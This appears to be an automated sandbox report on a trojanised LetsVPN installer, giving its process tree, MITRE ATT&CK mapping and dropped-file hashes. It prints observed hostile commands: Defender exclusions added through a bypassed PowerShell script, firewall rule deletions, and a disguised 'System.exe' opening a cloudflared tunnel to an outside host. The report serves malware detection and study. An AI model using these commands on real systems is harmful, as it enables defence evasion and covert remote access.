description pid Process procid_target PID 5064 wrote to memory of 3200 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 80 PID 5064 wrote to memory of 3092 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 82 PID 3092 wrote to memory of 3320 3092 letsvpn-3.16.9.exe 83 PID 3092 wrote to memory of 3684 3092 letsvpn-3.16.9.exe 86 PID 3092 wrote to memory of 1884 3092 letsvpn-3.16.9.exe 88 PID 1560 wrote to memory of 4684 1560 svchost.exe 91 PID 1560 wrote to memory of 3544 1560 svchost.exe 92 PID 3092 wrote to memory of 1712 3092 letsvpn-3.16.9.exe 95 PID 3092 wrote to memory of 4044 3092 letsvpn-3.16.9.exe 97 PID 4044 wrote to memory of 1956 4044 cmd.exe 99 PID 3092 wrote to memory of 2488 3092 letsvpn-3.16.9.exe 101 PID 2488 wrote to memory of 1976 2488 cmd.exe 103 PID 3092 wrote to memory of 8 3092 letsvpn-3.16.9.exe 104 PID 8 wrote to memory of 4468 8 cmd.exe 106 PID 3092 wrote to memory of 1508 3092 letsvpn-3.16.9.exe 107 PID 1508 wrote to memory of 3456 1508 cmd.exe 109 PID 3092 wrote to memory of 3156 3092 letsvpn-3.16.9.exe 110 PID 3156 wrote to memory of 3216 3156 cmd.exe 112 PID 3092 wrote to memory of 2920 3092 letsvpn-3.16.9.exe 113 PID 2920 wrote to memory of 2796 2920 LetsPRO.exe 114 PID 3092 wrote to memory of 4016 3092 letsvpn-3.16.9.exe 115 PID 4016 wrote to memory of 3920 4016 LetsPRO.exe 116 PID 5064 wrote to memory of 1080 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 117 PID 1080 wrote to memory of 4656 1080 cloudflared_installer.exe 118 PID 4656 wrote to memory of 2632 4656 cloudflared_installer.tmp 119 PID 3920 wrote to memory of 2368 3920 LetsPRO.exe 124 PID 2368 wrote to memory of 3752 2368 cmd.exe 126 PID 464 wrote to memory of 1792 464 rundll32.exe 132 PID 2392 wrote to memory of 1712 2392 WindowsEvent.exe 133 PID 3920 wrote to memory of 1584 3920 LetsPRO.exe 137 PID 1584 wrote to memory of 1424 1584 cmd.exe 139 PID 3920 wrote to memory of 2964 3920 LetsPRO.exe 140 PID 2964 wrote to memory of 1548 2964 cmd.exe 142
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\SysWOW64\cscript.execscript.exe /nologo "C:\Users\Admin\AppData\Roaming\LetsVPN\adddf.vbe" C:\2⤵
- System Location Discovery: System Language Discovery
PID:3200
-
-
C:\Users\Admin\AppData\Local\Temp\gentee99\letsvpn-3.16.9.exe"C:\Users\Admin\AppData\Local\Temp\gentee99\letsvpn-3.16.9.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3320
-
-
C:\Program Files (x86)\letsvpn\driver\tapinstall.exe"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap09013⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:3684
-
-
C:\Program Files (x86)\letsvpn\driver\tapinstall.exe"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap09013⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1884
-
-
C:\Program Files (x86)\letsvpn\driver\tapinstall.exe"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap09013⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:1712
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh advfirewall firewall Delete rule name=lets3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall Delete rule name=lets4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh advfirewall firewall Delete rule name=lets.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall Delete rule name=lets.exe4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1976
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall Delete rule name=LetsPRO.exe4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4468
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh advfirewall firewall Delete rule name=LetsPRO3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall Delete rule name=LetsPRO4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3456
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh advfirewall firewall Delete rule name=LetsVPN3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall Delete rule name=LetsVPN4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3216
-
-
-
C:\Program Files (x86)\letsvpn\LetsPRO.exe"C:\Program Files (x86)\letsvpn\LetsPRO.exe" checkNetFramework3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe"C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe" checkNetFramework4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2796
-
-
-
C:\Program Files (x86)\letsvpn\LetsPRO.exe"C:\Program Files (x86)\letsvpn\LetsPRO.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe"C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Unexpected DNS network traffic destination
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ipconfig /all5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /all6⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:3752
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C route print5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\SysWOW64\ROUTE.EXEroute print6⤵
- System Location Discovery: System Language Discovery
PID:1424
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C arp -a5⤵
- Network Service Discovery
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Windows\SysWOW64\ARP.EXEarp -a6⤵
- Network Service Discovery
- System Location Discovery: System Language Discovery
PID:1548
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gentee99\cloudflared_installer.exe"C:\Users\Admin\AppData\Local\Temp\gentee99\cloudflared_installer.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Users\Admin\AppData\Local\Temp\is-PMCJU.tmp\cloudflared_installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-PMCJU.tmp\cloudflared_installer.tmp" /SL5="$80202,20828596,926208,C:\Users\Admin\AppData\Local\Temp\gentee99\cloudflared_installer.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\SysWOW64\msiexec.exe"msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\is-56TS2.tmp\cf.msi" /qn /norestart4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2632
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{d2621a9b-5bff-de48-a2d7-eb326be720a7}\oemvista.inf" "9" "4d14a44ff" "0000000000000148" "WinSta0\Default" "0000000000000160" "208" "c:\program files (x86)\letsvpn\driver"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:4684
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000148" "4c5c"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3544
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman1⤵
- Modifies data under HKEY_USERS
PID:2712
-
C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe"C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe" /silent1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2676
-
C:\ProgramData\Microsoft\System\System.exe"C:\ProgramData\Microsoft\System\System.exe" access tcp --hostname www.cfqaz.cyou --url tcp://127.0.0.1:4431⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:1044
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,GdAewn1⤵
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,GdAewn2⤵
- System Location Discovery: System Language Discovery
PID:1792
-
-
C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exeC:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /tn WinSafe2⤵
- System Location Discovery: System Language Discovery
PID:1712
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe1⤵PID:428
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e58a2f5.rbs
- Size 7KB
- SHA256 cdcb6e1dd0f49a151d9e83a483187599a64e74155fe7a26f1eed2c227759a34e
- MD5 9d5eef4bce2202f43f53b790741ae2d7
- SHA1 6790146a91f0f9c4233e86dc2b6dc28d61f45c33
- SHA512 8535a8b869960ce37723c4d55361b919d420df7b227c2fe36d2a090e4af85154dbc6cb60fabe65369b6b00229fe0bc88ed764db5a3f6959853ec45ab57faf9bf
- SSDEEP 96:Q1GZUvC0KCnriqUPZuVKCsThqlUPZuVKC6jF3ZaThqTH3p5CgDWVk1BWCRplj+1P:Q1G8C0KCu9RuVZIvRuVZZoTjFRp8
- TLSH T155F1FE816205C3E2FCA9377DC71B2B6537F6E2D99260224B09CE95305F433895F9529B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1
- Size 318B
- SHA256 a9901397d39c0fc74adfdb95dd5f95c3a14def3f9d58ef44ab45fc74a56d46df
- MD5 b34636a4e04de02d079ba7325e7565f0
- SHA1 f32c1211eac22409bb195415cb5a8063431f75cd
- SHA512 6eb3255e3c89e2894f0085095fb5f6ab97349f0ed63c267820c82916f43a0ac014a94f98c186ff5d54806469a00c3c700a34d26de90afb090b80ac824a05aa2f
- TLSH T1FEE0E612450552F1E37838817112974F34DF083110FF19222A385C1A1581E6633BFD6E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\letsvpn\LetsPRO.exe
- Size 242KB
- SHA256 c736680a9677dfa9f910ac117e5aeba8078d34ee79544c21e176b992bb39d960
- MD5 47dd905586a8bd03325d034e47f0a8be
- SHA1 5028f12508b4090664e3e085b65bd75ef79a1797
- SHA512 d27eab6b9ef6af601ee70d6ffd91e008fc1749b77a61c09f62310e49b99a77ac435a64a294bd0aedb5058b25fd360cbc0f2163c9ac1ba52e151a2f4e62931dca
- SSDEEP 6144:OZzvhs2Z4n1E7g34XtVYAOfTd/z44JsQwwUDh:OJ+2Z4nShVY5JUKUd
- TLSH T12C348B1175D38472E5B20A3008F4E6B5AA7DFC710E659E7B63D8472E0F702C29A35EB6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\CommunityToolkit.Mvvm.dll
- Size 110KB
- SHA256 11b1add1db058d3760f52512e0ca911af726d7c049f25178446b6bd33d4eecd2
- MD5 84b2d19fb23993251130999cd42563b8
- SHA1 a169be412a7cf67fe190a6d484bb54df6ecdab75
- SHA512 57a6ab3d3597cf3edf02d8a933ed82311bc5abf91361e2019d809093007470bd82f32df0ee10c39112bdb81fe447000f081b0022518c01ca71d81cca29f581eb
- SSDEEP 1536:kARI0MvSAA6U7ks4jhOWE8i6wrNMRjYAZlfNASZfSOi32Xk:kWMpA6Agg8ahQYAZlFnUV
- TLSH T1F5B37D8163EC8A23D9FF1FBA64F450064B36E98BEA31E74E258C9AE105977C05C513B7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe
- Size 1.6MB
- SHA256 425ffb18167fc0c8cabf003fb034e471c7a0790485bdf3e7c0d16ded934d76e7
- MD5 5e5a821e55269850fe7be57e99be6213
- SHA1 4ff4b7b70e4cda205f93adbef4d785e9c68a8e1a
- SHA512 63a2ddf4ef967811e778e8063542f71be83a37ec5e7232f380bb467324e891726f2b74721a04b1f68fc517cd06919e07505f64df3a0ac38a94c5a2dad10c22b8
- SSDEEP 12288:nzqxieMHHldWg1PXtkg/zWD95e+E596smj8oPszeCxqU7H/d+aZDM0yv5hONjHkp:BRFdWKX9WDWiOX7H1+aa/AjHkKUY653
- TLSH T1C0758D40B1E4513DF47F27B69A20910CCB67BDC612A5E31FA5653A6D6C72B438E0633B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe.config
- Size 27KB
- SHA256 b12f59cdd3859acc91aaf58b23d560c65d3b39a8c04f4361db61231a7e39664a
- MD5 e74205eba3f8aa4ccbca1ae4af3151aa
- SHA1 ff06de22b3a53fc56f1fb09649f94c0ae2734976
- SHA512 892c8eec955694e9ddd24d2a0feb7797552a66c7b579b6af2b7262daebbbd4efcf6490ae6e8413adbce59f7961ef1a144c8f1ca7191be9667d83f9650938b129
- SSDEEP 384:xwpvzMTaa3qmVcXJuZ6TkqY00I79SZDhH1tW2:2oea3oo/00
- TLSH T115D2DF3091E8BBA99F9215E23D7A34244BAD0377298C419D70FD7D8ACF09DC666071BB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\LetsVPNDomainModel.dll
- Size 22KB
- SHA256 57f5254f06b4d4bf1ab36f6d8851738ca18a8b27b99113e47f91091950f52980
- MD5 41bd6f74e6b0588c5cdc27728beec61b
- SHA1 a50a18507a6d374091906da78e0dd969019edc44
- SHA512 8323f41d490176786cf43caf2e1b8d5f468b6db725ee171523482bee87eac124271a901838d0c098fb2fc8f5c9da6353533e32c496161b374850a26c4dc8ceb4
- SSDEEP 384:i8Kcv7wZit+/Aetl6yhsWuFRBG5gzxvsLolVWVFTwWdGBkSe:xv7wZY+4ukGsTKcjlVWV9+k
- TLSH T1D0A208865FFC0542FABF1FB5E9F156028E79FE4119BAC50F2004912F1C607949AB672B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\Newtonsoft.Json.dll
- Size 695KB
- SHA256 e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d
- MD5 195ffb7167db3219b217c4fd439eedd6
- SHA1 1e76e6099570ede620b76ed47cf8d03a936d49f8
- SHA512 56eb7f070929b239642dab729537dde2c2287bdb852ad9e80b5358c74b14bc2b2dded910d0e3b6304ea27eb587e5f19db0a92e1cbae6a70fb20b4ef05057e4ac
- SSDEEP 12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
- TLSH T166E4394123F98F2BE1AF6B75B4704E1543F9F917A6B5E78F9A04D9A91C43B408E403A3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Memory.dll
- Size 138KB
- SHA256 bf3fb84664f4097f1a8a9bc71a51dcf8cf1a905d4080a4d290da1730866e856f
- MD5 f09441a1ee47fb3e6571a3a448e05baf
- SHA1 3c5c5df5f8f8db3f0a35c5ed8d357313a54e3cde
- SHA512 0199ae0633bccfeaefbb5aed20832a4379c7ad73461d41a9da3d6dc044093cc319670e67c4efbf830308cbd9a48fb40d4a6c7e472dcc42eb745c6ba813e8e7c6
- SSDEEP 3072:nUGrszKKLB8a9DvrJeeesIf3amN32AW/rcyw/s:OB8l3/aK32qU
- TLSH T1BAD37D6857C6DE56DB5FEC70E02052016631C52F5742BBEE5DC8B8F026923EA28193FE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.CompilerServices.Unsafe.dll
- Size 17KB
- SHA256 37768488e8ef45729bc7d9a2677633c6450042975bb96516e186da6cb9cd0dcf
- MD5 c610e828b54001574d86dd2ed730e392
- SHA1 180a7baafbc820a838bbaca434032d9d33cceebe
- SHA512 441610d2b9f841d25494d7c82222d07e1d443b0da07f0cf735c25ec82f6cce99a3f3236872aec38cc4df779e615d22469666066ccefed7fe75982eefada46396
- SSDEEP 384:EybU8ndrbbT9NWB2WL/uPHRN7bhlsQVryo:Ey5ndvWbMPVryo
- TLSH T1A8824A21CFD84503FE627B344568D183FE38E38A6806A36A2586F57A1CD63C57B31E38
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.InteropServices.RuntimeInformation.dll
- Size 27KB
- SHA256 8bb9d52ba5c67f05c8f632deb1e7e98a909318b10e1388b47e919515fdd42cbf
- MD5 568b53398bfc0e54aaf448b68f5c77c2
- SHA1 76b0b6e65e38a90a4ecdb3f6dfe16d5a803081e9
- SHA512 6052ee3664fd2095de3338cf6d24df022dc13d00b4bf14c57572f2a34ac078e07bd1f634a50028db0952ae8067ffcf19079177fa534240d9526f33ae1e1459ac
- SSDEEP 384:OkUwx9rm5go1fWKmmW6oqN5eWjaWsFm0GftpBjZNaQHRN7ZtnlJCxJ:lrmoFmWdOMViLNLZhCb
- TLSH T1EED25B55DBFC8602EDDB0E7079B0E5876D3DEBC34D21AA2A0499E4881D973C86721F39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\System.ValueTuple.dll
- Size 77KB
- SHA256 e4774aead2793f440e0ced6c097048423d118e0b6ed238c6fe5b456acb07817f
- MD5 8c9424e37a28db7d70e7d52f0df33cf8
- SHA1 81cd1acb53d493c54c8d56f379d790a901a355ac
- SHA512 cb6364c136f9d07191cf89ea2d3b89e08db0cd5911bf835c32ae81e4d51e0789ddc92d47e80b7ff7e24985890ed29a00b0a391834b43cf11db303cd980d834f4
- SSDEEP 1536:6784YWau8lqubx6WxXLA+o2SLFyEdux136ytgHo0AuresehSAPVGHMc:67NV8v36tI0XCKAt6
- TLSH T1CC73E92823583663C73E853318AA9AC75BB8D30BD746177B7DEAE5E818E1774B301274
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\Utils.dll
- Size 134KB
- SHA256 05886719840e1165cbe91977a81d771ca94a36386bfd86129afa0bc889a75af3
- MD5 1453d8d5d8836343f971a26dc0f130fa
- SHA1 fbb662f655f65521f7c3b786ac2494791006efbb
- SHA512 a951ab05c41d323ae8863d9052aad79db1048c08a854bf635de444c61157bc886fb329e90639cfd1f992e6b8a86ec53d6070bd242b28396e905d5cce58720767
- SSDEEP 3072:CFKA7owY6mgYEG73ia2OzrWsBCW1Nt+Gs/yObBi1/Xg6iyhUkuWFe8Q:aK9E7OzSIS
- TLSH T1AFD35B1037E80A05F2BFAF7995F451128B3AF94B6A16D74E0CD421EE1B727C28E10B76
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\app-3.16.9\log4net.dll
- Size 264KB
- SHA256 896ab9cac41e3977792ba2034ea8730610c2779fa51bab6bed426094ea8d3ecd
- MD5 27fe8d18682fd9901e589e65ef429b23
- SHA1 6426e96243911beab547f2bc98a252a26692f11f
- SHA512 9d6bc8c77c72cbad15e808281818c2768f1b44aa6ea1d54a979c91218b8fbf2a02fee49fa97db6cfa6087ddc363d6cdd6407e4494934b4568c514437030a2615
- SSDEEP 3072:HG0WgexKpGi8PnJcerXUaxX3HVeES4BEIqTTpX/4ormGpnaVTSGCkMhkEn7GAhCj:HJrycoB3HVeESME3pnaVTS1nh7hCa
- TLSH T1C544195877F84A59F2FF2BB8A47644154BB5F816B87ED39E0A80A4EC2D33B108951373
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\driver\OemVista.inf
- Size 7KB
- SHA256 150ef8eb07532146f833dc020c02238161043260b8a565c3cfcb2365bad980d9
- MD5 26009f092ba352c1a64322268b47e0e3
- SHA1 e1b2220cd8dcaef6f7411a527705bd90a5922099
- SHA512 c18111982ca233a7fc5d1e893f9bd8a3ed739756a47651e0638debb0704066af6b25942c7961cdeedf953a206eb159fe50e0e10055c40b68eb0d22f6064bb363
- SSDEEP 192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
- TLSH T17EF150641C83EE3A31FEE58407565EC7E25611823A172800355CFC549BBDD9FE73C92A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
- Size 99KB
- SHA256 9f45a39015774eeaa2a6218793edc8e6273eb9f764f3aedee5cf9e9ccacdb53f
- MD5 1e3cf83b17891aee98c3e30012f0b034
- SHA1 824f299e8efd95beca7dd531a1067bfd5f03b646
- SHA512 fa5cf687eefd7a85b60c32542f5cb3186e1e835c01063681204b195542105e8718da2f42f3e1f84df6b0d49d7eebad6cb9855666301e9a1c5573455e25138a8b
- SSDEEP 1536:ImYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7WfvZt9c:HYFZnRDGdvPXU6K1RW
- TLSH T1D1A3F80263E84609F5F77A306AB952315E777C91AE38C68E0298911D1FE3F81CD74BA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g4lvwxm.05i.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\gentee99\cloudflared_installer.exe
- Size 20.9MB
- SHA256 4eb9bdff58555e42bbed3ae03448f96eb935c9d59c3c0b8d0a16d489e68894d5
- MD5 0faa32cf0dd1b909ba6db57d56c82533
- SHA1 6eea61602c6a9caa42b5803683d116368ec19be1
- SHA512 d05aa8664553f8551c90c133d2a7c6e3772fd1aef9182a4ff692c89d5f6093adea8a856822505cfbe8e8627c820ef5dd0a6979694b53d0d2d5c0fbba88e4a76c
- SSDEEP 393216:BL0mgVUlJY+LEMTPAyEAuQvG/5rpc55GE8Np5/+5+Hd9MKH/1V6Pa7S9BxMs9:aXUlJXpLNuP/5rp45Gv9XHd9MKfW7D
- TLSH T16F273313628B253FF47D8A3A89B3E216083B7B3179128C63ABF44958DE160D52D3F657
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\gentee99\guig.dll
- Size 20KB
- SHA256 624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328
- MD5 ddd4a31094764a9deb6a82c8658fd9c5
- SHA1 4c098a5b44aca27b13222dd64903d3fb286fc274
- SHA512 45e2b5373ceb9b92dcd1d23a0b2410b5562d2a59c2a0d4dbca1c51f6264bc4659370ae3c170662bb8d316c3dfc0439874b3354ebf1ecd7ea27de125b4975ba6e
- SSDEEP 96:Vp+rqxZxbVbQosZK61Oi0sIqUWfNBd8HwoO6EVV2JVdY0l4RSID1/Qw/g3ATg:+OLOK6UsPnzB6aVd0AD1/Qw/g3
- TLSH T17D92D6B672D148F3D0CF17F00A622BAE6BB58420177578A64A134BCE96A6641F926B02
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\gentee99\letsvpn-3.16.9.exe
- Size 15.8MB
- SHA256 22944c87ac71fc5a95198fe0b4ed51f9d8ae1759d5b840ba18c9e9f26902754a
- MD5 a3454b6179420f6c12f047d3acb2a7df
- SHA1 e607e5eeb93ebcc72b4524b37bc994769e97fc5b
- SHA512 56a83f67f35adc9942ae91ea6a7a518902157b5e40e385b42841e96b91c36e3d26354257f48370cf3534eb45ea4d505d6fa2310da7ffda0ef1795f12b79670cc
- SSDEEP 393216:mFCdGIhLpMMhVGxgDxlBScv22a3ObLEDw52m/nJcn3f3NiSA:mknCMU0Scw3ObgjqJ631i
- TLSH T17BF6337923DACC79F7CABC764CEF43EE3869634F48584917288E2898C5941BF59D0A13
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\gentee99\unppmd.dll
- Size 8KB
- SHA256 d6f3429b8ffe80e1bc023de22bc23d9b4d384d89a9b22db51aa27c804581642d
- MD5 7b97f7a822f0f4f54c54b8ef92aaf09a
- SHA1 d0916590b36d8e0507b6722449d7ffd2187498a6
- SHA512 d33c0c31df17738f0cd5384f579bacb512668ec8fec9c96e12125ffe58a38a46ac498f5924c8620a146b762fc318dd7f291efd27caaec45ca9f16d80dae05387
- SSDEEP 192:8oZxb6fmKexmyVMoScaVqAbQkomcOqLPW3axP:82xGfm1mm9SZVWko7zW3
